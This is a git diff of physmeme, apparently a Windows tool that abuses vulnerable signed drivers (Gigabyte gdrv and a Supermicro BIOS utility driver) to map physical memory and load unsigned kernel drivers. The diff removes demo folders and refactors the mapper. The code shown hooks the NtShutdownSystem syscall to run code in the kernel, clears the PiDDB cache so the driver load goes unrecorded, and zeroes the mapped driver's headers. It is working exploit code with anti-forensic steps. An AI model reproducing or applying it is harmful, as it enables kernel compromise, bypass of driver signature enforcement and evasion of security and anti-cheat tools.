diff --git a/demo/gdrv/README.md b/demo/gdrv/README.md deleted file mode 100644 index 3d68e2b..0000000 --- a/demo/gdrv/README.md +++ /dev/null @@ -1,6 +0,0 @@ - - -### gdrv - -This driver has been exploited before by many people. This is just an example of using it with physmeme. If you want to use this driver with physmeme, simply replace `physmeme.hpp` -with this one. :) \ No newline at end of file diff --git a/demo/gdrv/hello-world.sys b/demo/gdrv/hello-world.sys deleted file mode 100644 index 7f2301f..0000000 Binary files a/demo/gdrv/hello-world.sys and /dev/null differ diff --git a/demo/gdrv/physmeme.exe b/demo/gdrv/physmeme.exe deleted file mode 100644 index f5d4e52..0000000 Binary files a/demo/gdrv/physmeme.exe and /dev/null differ diff --git a/demo/gdrv/physmeme.hpp b/demo/gdrv/physmeme.hpp deleted file mode 100644 index 044cd50..0000000 --- a/demo/gdrv/physmeme.hpp +++ /dev/null @@ -1,92 +0,0 @@ -#pragma once -#include -#include -#include -#include - -#include "../util/util.hpp" -#include "../loadup.hpp" -#include "../raw_driver.hpp" - -#pragma pack ( push, 1 ) -typedef struct _GIOMAP -{ - unsigned long interface_type; - unsigned long bus; - std::uintptr_t physical_address; - unsigned long io_space; - unsigned long size; -} GIOMAP; -#pragma pack ( pop ) - -namespace physmeme -{ - inline std::string drv_key; - - // - // please code this function depending on your method of physical read/write. - // - inline HANDLE load_drv() - { - const auto [result, key] = driver::load(raw_driver, sizeof(raw_driver)); - drv_key = key; - - return CreateFile( - "\\\\.\\GIO", - GENERIC_READ | GENERIC_WRITE, - NULL, - NULL, - OPEN_EXISTING, - FILE_ATTRIBUTE_NORMAL, - NULL - ); - } - - // - // please code this function depending on your method of physical read/write. - // - inline bool unload_drv() - { - return driver::unload(drv_key); - } - - inline HANDLE drv_handle = load_drv(); - - // - // please code this function depending on your method of physical read/write. - // - inline std::uintptr_t map_phys( - std::uintptr_t addr, - std::size_t size - ) - { - //--- ensure the validity of the address we are going to try and map - if (!util::is_valid(addr)) - return NULL; - - GIOMAP in_buffer = { 0, 0, addr, 0, size }; - uintptr_t out_buffer[2] = { 0 }; - unsigned long returned = 0; - DeviceIoControl(drv_handle, 0xC3502004, reinterpret_cast(&in_buffer), sizeof(in_buffer), - reinterpret_cast(out_buffer), sizeof(out_buffer), &returned, NULL); - return out_buffer[0]; - - } - - // - // please code this function depending on your method of physical read/write. - // - inline bool unmap_phys( - std::uintptr_t addr, - std::size_t size - ) - { - uintptr_t in_buffer = addr; - uintptr_t out_buffer[2] = {sizeof(out_buffer)}; - - unsigned long returned = NULL; - DeviceIoControl(drv_handle, 0xC3502008, reinterpret_cast(&in_buffer), sizeof(in_buffer), - reinterpret_cast(out_buffer), sizeof(out_buffer), &returned, NULL); - return out_buffer[0]; - } -} diff --git a/demo/supermicro/README.md b/demo/supermicro/README.md deleted file mode 100644 index 4138650..0000000 --- a/demo/supermicro/README.md +++ /dev/null @@ -1,15 +0,0 @@ -# Warning - -This demo works on Windows 10-1909 and below, after 1909 physmeme.sys isnt supported view: [PFN_LIST_CORRUPT](https://githacks.org/xerox/physmeme/issues/2). - -# Demo - -simply open a console as admin, run "physmeme.exe hello-world.sys" and you should see a DbgPrint inside of dbgview. - -- pmdll64.dll is part of a supermicro bios flashing utility -- physmem64.sys is part of a supermicro bios flashing utility -- hello-world.sys just prints the base address and size of the driver :) - - - -Code for hello-world.sys: [https://githacks.org/xerox/physmeme/issues/1#note_37](https://githacks.org/xerox/physmeme/issues/1#note_37) \ No newline at end of file diff --git a/demo/supermicro/hello-world.sys b/demo/supermicro/hello-world.sys deleted file mode 100644 index 7f2301f..0000000 Binary files a/demo/supermicro/hello-world.sys and /dev/null differ diff --git a/demo/supermicro/phymem64.sys b/demo/supermicro/phymem64.sys deleted file mode 100644 index 572668e..0000000 Binary files a/demo/supermicro/phymem64.sys and /dev/null differ diff --git a/demo/supermicro/physmeme.exe b/demo/supermicro/physmeme.exe deleted file mode 100644 index f5d4e52..0000000 Binary files a/demo/supermicro/physmeme.exe and /dev/null differ diff --git a/demo/supermicro/physmeme.hpp b/demo/supermicro/physmeme.hpp deleted file mode 100644 index 4f03cad..0000000 --- a/demo/supermicro/physmeme.hpp +++ /dev/null @@ -1,69 +0,0 @@ -#pragma once -#include -#include -#include -#include - -namespace physmeme -{ - /* - please code this function depending on your method of physical read/write. - */ - inline std::uintptr_t map_phys( - std::uintptr_t addr, - std::size_t size - ) - { - //--- ensure the validity of the address we are going to try and map - if (!is_valid(addr)) - return NULL; - - static const auto map_phys_ptr = - reinterpret_cast<__int64(__fastcall*)(__int64, unsigned)>( - GetProcAddress(LoadLibrary("pmdll64.dll"), "MapPhyMem")); - return map_phys_ptr ? map_phys_ptr(addr, size) : false; - } - - /* - please code this function depending on your method of physical read/write. - */ - inline bool unmap_phys( - std::uintptr_t addr, - std::size_t size - ) - { - static const auto unmap_phys_ptr = - reinterpret_cast<__int64(*)(__int64, unsigned)>( - GetProcAddress(LoadLibrary("pmdll64.dll"), "UnmapPhyMem")); - return unmap_phys_ptr ? unmap_phys_ptr(addr, size) : false; - } - - /* - please code this function depending on your method of physical read/write. - */ - inline HANDLE load_drv() - { - static const auto load_driver_ptr = - reinterpret_cast<__int64(*)()>( - GetProcAddress(LoadLibrary("pmdll64.dll"), "LoadPhyMemDriver")); - - if (load_driver_ptr) - load_driver_ptr(); - - //--- i dont ever use this handle, its just an example of what you should do. - return CreateFileA("\\\\.\\PhyMem", 0xC0000000, 3u, 0i64, 3u, 0x80u, 0i64); - } - - /* - please code this function depending on your method of physical read/write. - */ - inline bool unload_drv() - { - static const auto unload_driver_ptr = - reinterpret_cast<__int64(*)()>( - GetProcAddress(LoadLibrary("pmdll64.dll"), "UnloadPhyMemDriver")); - return unload_driver_ptr ? unload_driver_ptr() : false; - } - - inline HANDLE drv_handle = load_drv(); -} \ No newline at end of file diff --git a/demo/supermicro/pmdll64.dll b/demo/supermicro/pmdll64.dll deleted file mode 100644 index 0aff779..0000000 Binary files a/demo/supermicro/pmdll64.dll and /dev/null differ diff --git a/physmeme-lib/map_driver.cpp b/physmeme-lib/map_driver.cpp index a14066e..a9eb895 100644 --- a/physmeme-lib/map_driver.cpp +++ b/physmeme-lib/map_driver.cpp @@ -1,13 +1,9 @@ -#include -#include -#include - #include "kernel_ctx/kernel_ctx.h" #include "drv_image/drv_image.h" namespace physmeme { - bool __cdecl map_driver(std::vector& raw_driver) + NTSTATUS __cdecl map_driver(std::vector& raw_driver) { physmeme::drv_image image(raw_driver); @@ -15,22 +11,16 @@ namespace physmeme // load exploitable driver // if (!physmeme::load_drv()) - return false; + return STATUS_ABANDONED; physmeme::kernel_ctx ctx; // - // unload exploitable driver - // - if (!physmeme::unload_drv()) - return false; - - // - // shoot the tires off the cache. + // shoot the tires off piddb cache. // const auto drv_timestamp = util::get_file_header(raw_driver.data())->TimeDateStamp; if (!ctx.clear_piddb_cache(physmeme::drv_key, drv_timestamp)) - return false; + return STATUS_ABANDONED; // // lambdas used for fixing driver image @@ -60,9 +50,6 @@ namespace physmeme NonPagedPool ); - if (!pool_base) - return -1; - image.relocate(pool_base); // @@ -88,12 +75,17 @@ namespace physmeme // zero driver headers // ctx.zero_kernel_memory(pool_base, image.header_size()); - return !result; // 0x0 means STATUS_SUCCESS + + physmeme::unmap_all(); + if (!physmeme::unload_drv()) + return STATUS_ABANDONED; + + return result; } - bool __cdecl map_driver(std::uint8_t * image, std::size_t size) + NTSTATUS __cdecl map_driver(std::uint8_t * image, std::size_t size) { - auto data = std::vector(image, image + size); + std::vector data(image, image + size); return map_driver(data); } } \ No newline at end of file diff --git a/physmeme-lib/map_driver.hpp b/physmeme-lib/map_driver.hpp index 673163c..bcbfb94 100644 --- a/physmeme-lib/map_driver.hpp +++ b/physmeme-lib/map_driver.hpp @@ -1,8 +1,9 @@ #pragma once #include +#include namespace physmeme { - bool __cdecl map_driver(std::vector& raw_driver); - bool __cdecl map_driver(std::uint8_t * image, std::size_t size); + NTSTATUS __cdecl map_driver(std::vector& raw_driver); + NTSTATUS __cdecl map_driver(std::uint8_t * image, std::size_t size); } \ No newline at end of file diff --git a/physmeme-lib/raw_driver.hpp b/physmeme-lib/raw_driver.hpp index 6402c6b..f9ceb96 100644 --- a/physmeme-lib/raw_driver.hpp +++ b/physmeme-lib/raw_driver.hpp @@ -1,7 +1,8 @@ #pragma once #include -inline constexpr std::uint8_t raw_driver[] = { +inline constexpr std::uint8_t raw_driver[] = +{ 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, diff --git a/physmeme/kernel_ctx/kernel_ctx.cpp b/physmeme/kernel_ctx/kernel_ctx.cpp index 7c215ae..af193b3 100644 --- a/physmeme/kernel_ctx/kernel_ctx.cpp +++ b/physmeme/kernel_ctx/kernel_ctx.cpp @@ -10,22 +10,17 @@ namespace physmeme nt_rva = reinterpret_cast( util::get_kernel_export( "ntoskrnl.exe", - syscall_hook.first.data(), + syscall_hook.first, true )); nt_page_offset = nt_rva % page_size; ntoskrnl_buffer = reinterpret_cast( - LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES) - ); - - printf("[+] page offset of %s is 0x%llx\n", syscall_hook.first.data(), nt_page_offset); - printf("[+] ntoskrnl_buffer: 0x%p\n", ntoskrnl_buffer); - printf("[+] ntoskrnl_buffer was 0x%p, nt_rva was 0x%p\n", ntoskrnl_buffer, nt_rva); - - std::vector search_threads; + LoadLibraryEx("ntoskrnl.exe", NULL, + DONT_RESOLVE_DLL_REFERENCES)); //--- for each physical memory range, make a thread to search it + std::vector search_threads; for (auto ranges : util::pmem_ranges) search_threads.emplace_back(std::thread( &kernel_ctx::map_syscall, @@ -36,14 +31,10 @@ namespace physmeme for (std::thread& search_thread : search_threads) search_thread.join(); - - printf("[+] psyscall_func: 0x%p\n", psyscall_func.load()); } void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const { - printf("[+] scanning from begin: 0x%p to: 0x%p\n", begin, begin + end); - //if the physical memory range is less then or equal to 2mb if (begin + end <= 0x1000 * 512) { diff --git a/physmeme/kernel_ctx/kernel_ctx.h b/physmeme/kernel_ctx/kernel_ctx.h index 8e231eb..791160e 100644 --- a/physmeme/kernel_ctx/kernel_ctx.h +++ b/physmeme/kernel_ctx/kernel_ctx.h @@ -13,35 +13,19 @@ namespace physmeme { // - // offset of function into a physical page - // used for comparing bytes when searching - // - inline std::uint16_t nt_page_offset{}; - - // - // rva of nt function we are going to hook - // - inline std::uint32_t nt_rva{}; - - // - // base address of ntoskrnl (inside of this process) + // you can edit this how you choose, im hooking NtShutdownSystem. // - inline const std::uint8_t* ntoskrnl_buffer{}; + constexpr std::pair syscall_hook = { "NtShutdownSystem", "ntdll.dll" }; // - // has the page been found yet? + // has the page (containing the syscall) been found yet? // inline std::atomic is_page_found = false; // // mapping of a syscalls physical memory (for installing hooks) // - inline std::atomic psyscall_func{}; - - // - // you can edit this how you choose, im hooking NtShutdownSystem. - // - inline const std::pair syscall_hook = { "NtShutdownSystem", "ntdll.dll" }; + inline std::atomic psyscall_func; class kernel_ctx { @@ -105,7 +89,7 @@ namespace physmeme static const auto proc = GetProcAddress( GetModuleHandleA("ntdll.dll"), - syscall_hook.first.data() + syscall_hook.first ); hook::make_hook(psyscall_func, addr); @@ -114,6 +98,22 @@ namespace physmeme return result; } private: + // + // offset of function into a physical page + // used for comparing bytes when searching + // + std::uint16_t nt_page_offset; + + // + // rva of nt function we are going to hook + // + std::uint32_t nt_rva; + + // + // base address of ntoskrnl (inside of this process) + // + std::uint8_t* ntoskrnl_buffer; + // // find and map the physical page of a syscall into this process // diff --git a/physmeme/main.cpp b/physmeme/main.cpp index df2b102..5ea8324 100644 --- a/physmeme/main.cpp +++ b/physmeme/main.cpp @@ -20,18 +20,14 @@ int __cdecl main(int argc, char** argv) } physmeme::drv_image image(drv_buffer); - physmeme::load_drv(); - physmeme::kernel_ctx ctx; - // - // unload exploitable driver - // - if (!physmeme::unload_drv()) + if (!physmeme::load_drv()) { - perror("[!] unable to unload driver... all handles closed?\n"); + perror("[!] unable to load driver....\n"); return -1; } - printf("[+] unloaded exploitable driver....\n"); + + physmeme::kernel_ctx ctx; // // shoot the tires off piddb cache entry. @@ -108,6 +104,18 @@ int __cdecl main(int argc, char** argv) // zero driver headers // ctx.zero_kernel_memory(pool_base, image.header_size()); + + // + // unload exploitable driver + // + physmeme::unmap_all(); // just in case there are any left over physical pages mapped... + if (!physmeme::unload_drv()) + { + perror("[!] unable to unload driver... all handles closed?\n"); + return -1; + } + + printf("[+] unloaded exploitable driver....\n"); printf("[=] press enter to close\n"); std::cin.get(); } \ No newline at end of file diff --git a/physmeme/physmeme/physmeme.hpp b/physmeme/physmeme/physmeme.hpp index d4b2732..3dae9ba 100644 --- a/physmeme/physmeme/physmeme.hpp +++ b/physmeme/physmeme/physmeme.hpp @@ -71,7 +71,7 @@ namespace physmeme ) { //--- ensure the validity of the address we are going to try and map - if (!util::is_valid(addr)) + if (!util::is_phys_addr_valid(addr)) return NULL; GIOMAP in_buffer = { 0, 0, addr, 0, size }; diff --git a/physmeme/raw_driver.hpp b/physmeme/raw_driver.hpp index 6402c6b..f9ceb96 100644 --- a/physmeme/raw_driver.hpp +++ b/physmeme/raw_driver.hpp @@ -1,7 +1,8 @@ #pragma once #include -inline constexpr std::uint8_t raw_driver[] = { +inline constexpr std::uint8_t raw_driver[] = +{ 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, diff --git a/physmeme/util/hook.hpp b/physmeme/util/hook.hpp index 1004d9f..337025e 100644 --- a/physmeme/util/hook.hpp +++ b/physmeme/util/hook.hpp @@ -124,19 +124,9 @@ namespace hook std::uint8_t org_bytes[sizeof(jmp_code)]; }; - static std::map> hooks{}; - - /* - Author: xerox - Date: 12/19/2019 - - Create Hook without needing to deal with objects - */ - static void make_hook(void* addr_to_hook, void* jmp_to_addr, bool enable = true) + inline std::map> hooks{}; + inline void make_hook(void* addr_to_hook, void* jmp_to_addr, bool enable = true) { - if (!addr_to_hook) - return; - hooks.insert({ addr_to_hook, std::make_unique( @@ -147,43 +137,18 @@ namespace hook ); } - /* - Author: xerox - Date: 12/19/2019 - - Enable hook given the address to hook - */ - static void enable(void* addr) + inline void enable(void* addr) { - if (!addr) - return; hooks.at(addr)->install(); } - /* - Author: xerox - Date: 12/19/2019 - - Disable hook givent the address of the hook - */ - static void disable(void* addr) + inline void disable(void* addr) { - if (!addr) - return; hooks.at(addr)->uninstall(); } - - /* - Author: xerox - Date: 12/19/2019 - - Remove hook completely from vector - */ - static void remove(void* addr) + inline void remove(void* addr) { - if (!addr) - return; hooks.at(addr)->~detour(); hooks.erase(addr); } diff --git a/physmeme/util/util.hpp b/physmeme/util/util.hpp index de3dbc1..c08f41c 100644 --- a/physmeme/util/util.hpp +++ b/physmeme/util/util.hpp @@ -21,7 +21,7 @@ namespace util static std::map pmem_ranges{}; //--- validates the address - static bool is_valid(std::uintptr_t addr) + inline bool is_phys_addr_valid(std::uintptr_t addr) { for (auto range : pmem_ranges) if (addr >= range.first && addr <= range.first + range.second) @@ -82,8 +82,6 @@ namespace util data.insert(data.begin(), std::istream_iterator(fstr), std::istream_iterator()); } - // get base address of kernel module - // // taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30 static std::uintptr_t get_module_base(const char* module_name) { @@ -121,8 +119,6 @@ namespace util return NULL; } - // get base address of kernel module - // // taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30 static void* get_kernel_export(const char* module_name, const char* export_name, bool rva = false) {